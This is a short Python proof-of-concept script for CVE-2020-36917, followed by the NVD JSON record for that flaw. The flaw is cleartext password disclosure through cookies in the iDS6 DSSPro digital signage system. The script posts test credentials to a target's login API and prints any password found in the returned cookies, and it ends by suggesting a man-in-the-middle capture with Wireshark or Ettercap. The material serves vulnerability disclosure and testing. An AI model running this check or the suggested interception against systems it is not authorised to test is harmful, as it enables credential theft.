CVE-2020-36917

import requests import re # CVE-2020-36917 PoC - iDS6 DSSPro Cleartext Cookie Password Disclosure # Target: iDS6 DSSPro Digital Signage System # This PoC demonstrates credential interception via HTTP traffic sniffing def exploit_cve_2020_36917(target_url): """ Exploit function to demonstrate the vulnerability In real attack scenario, credentials would be captured via MITM """ print(f"[*] Target: {target_url}") print(f"[*] Vulnerability: Cleartext Cookie Password Disclosure (CVE-2020-36917)") # Step 1: Attempt to access the login page login_page = f"{target_url}/login" response = requests.get(login_page, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Login page accessible: {login_page}") # Step 2: Check for autoSave feature presence if 'autoSave' in response.text or 'autosave' in response.text: print("[+] AutoSave feature detected in login form") # Step 3: Simulate login request to observe Cookie behavior login_data = { 'username': 'admin', 'password': 'test_password', 'autoSave': 'on' } login_response = requests.post( f"{target_url}/api/login", data=login_data, allow_redirects=False ) # Step 4: Check for cleartext credentials in cookies cookies = login_response.cookies for cookie_name, cookie_value in cookies.items(): if 'password' in cookie_name.lower() or 'pwd' in cookie_name.lower(): print(f"[!] VULNERABLE: Cleartext password found in cookie '{cookie_name}'") print(f"[!] Value: {cookie_value}") return True print("[-] No cleartext password found in cookies") return False else: print(f"[-] Failed to access login page") return False if __name__ == "__main__": target = "http://target-ids6-dsspro.local" exploit_cve_2020_36917(target) print("\n[*] Note: For actual exploitation, perform MITM attack on HTTP traffic") print("[*] Use tools like Wireshark or Ettercap to capture cookies with passwords")

{"cve": {"id": "CVE-2020-36917", "sourceIdentifier": "[email protected]", "published": "2026-01-06T16:15:47.903", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "iDS6 DSSPro Digital Signage System 6.2 contains a sensitive information disclosure vulnerability that allows remote attackers to intercept authentication credentials through cleartext cookie transmission. Attackers can exploit the autoSave feature to capture user passwords during man-in-the-middle attacks on HTTP communications."}, {"lang": "es", "value": "iDS6 DSSPro Digital Signage System 6.2 contiene una sensible vulnerabilidad de revelación de información que permite a atacantes remotos interceptar credenciales de autenticación a través de la transmisión de cookies en texto claro. Los atacantes pueden explotar la función autoSave para capturar contraseñas de usuario durante ataques man-in-the-middle en comunicaciones HTTP."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-319"}]}], "references": [{"url": "https://cxsecurity.com/issue/WLB-2020110023", "source": "[email protected]"}, {"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/191261", "source": "[email protected]"}, {"url": "https://packetstormsecurity.com/files/159915", "source": "[email protected]"}, {"url": "https://web.archive.org/web/20200919100215/http://www.yerootech.com/", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/ids-dsspro-digital-signage-system-cleartext-password-disclosure-via-cookie", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5605.php", "source": "[email protected]"}]}}